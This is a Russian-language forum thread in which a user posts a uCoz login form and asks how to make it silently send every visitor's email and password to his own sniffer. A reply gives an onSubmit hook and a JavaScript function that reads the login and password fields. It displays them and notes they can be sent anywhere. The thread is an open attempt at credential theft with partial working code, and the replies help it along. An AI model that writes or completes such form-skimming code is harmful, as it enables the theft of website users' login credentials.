авториация

Discussion in 'PHP' started by qaz, 3 Feb 2011.

  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    вот такой вопрос, на юкозе есть авторизция
    PHP:

    <table border="0" cellspacing="1" cellpadding="0" width="100%">
    <?if($ERROR$)?><td colspan="2" style="color:red;text-align:center;">$ERROR$</td><?endif?>
    <tr><td width="20%" nowrap="nowrap">E-mail:$UID_ICON$</td><td><input class="loginField" type="text" name="user" value="" size="20" style="width:100%;" maxlength="50"/></td></tr>
    <tr><td>Пароль:</td><td><input class="loginField" type="password" name="password" size="20" style="width:100%" maxlength="15"/></td></tr>
    </table>
    <table border="0" cellspacing="1" cellpadding="0" width="100%">
    <tr><td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label> <?if($PAGE_ID$="login" && $HIDDEN_ALLOWED$)?><br /><input id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label><?endif?></td><td align="right" valign="top"><input class="loginButton" name="sbm" type="submit" value="Вход"/></td></tr>
    <tr><td colspan="2"><div style="font-size:7pt;text-align:center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>
    </table>
    <?if($PAGE_ID$="login")?></div><?endif?>

    я хотел сделать штоб во время авторизации пользователь не только авторизовался но и все данные введённые пользователем высылались мне в сниф. ток не могу поправить код, какиебы изменени не внёс он стаёт нерабочим, помогите поправить
     
    #1 qaz, 3 Feb 2011
    Last edited: 3 Feb 2011
  2. iprophet

    iprophet New Member

    Joined:
    22 Apr 2010
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    В юкозе не очень шарю, но вот что я сделал:

    1. Добавляешь в тег <form ...> следующее:
    PHP:
    onSubmit="return send(this);"
    2. Где-то над формой или можно между тегами <head></head> добавить функцию яваскрипта:
    PHP:
    <script language="javascript">
    function 
    send(form)
    {
        var 
    email form.user.value;
        var 
    password form.password.value;
        if (
    email!="" && password!="")
        
    alert ("Email: "+email+"\nPassword: "+password);
        return 
    false;
    }
    </script>
    Сейчас скрипт просто выводит в сообщении емейл и пароль, но ты можешь отправить куда-то их.
     
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    на обработчик релиза кнопки
     
  4. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    извени, я ни селён в джава скрипт, я несовсем понял куда его вставить
     
  5. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75

    а в скрипте формы нету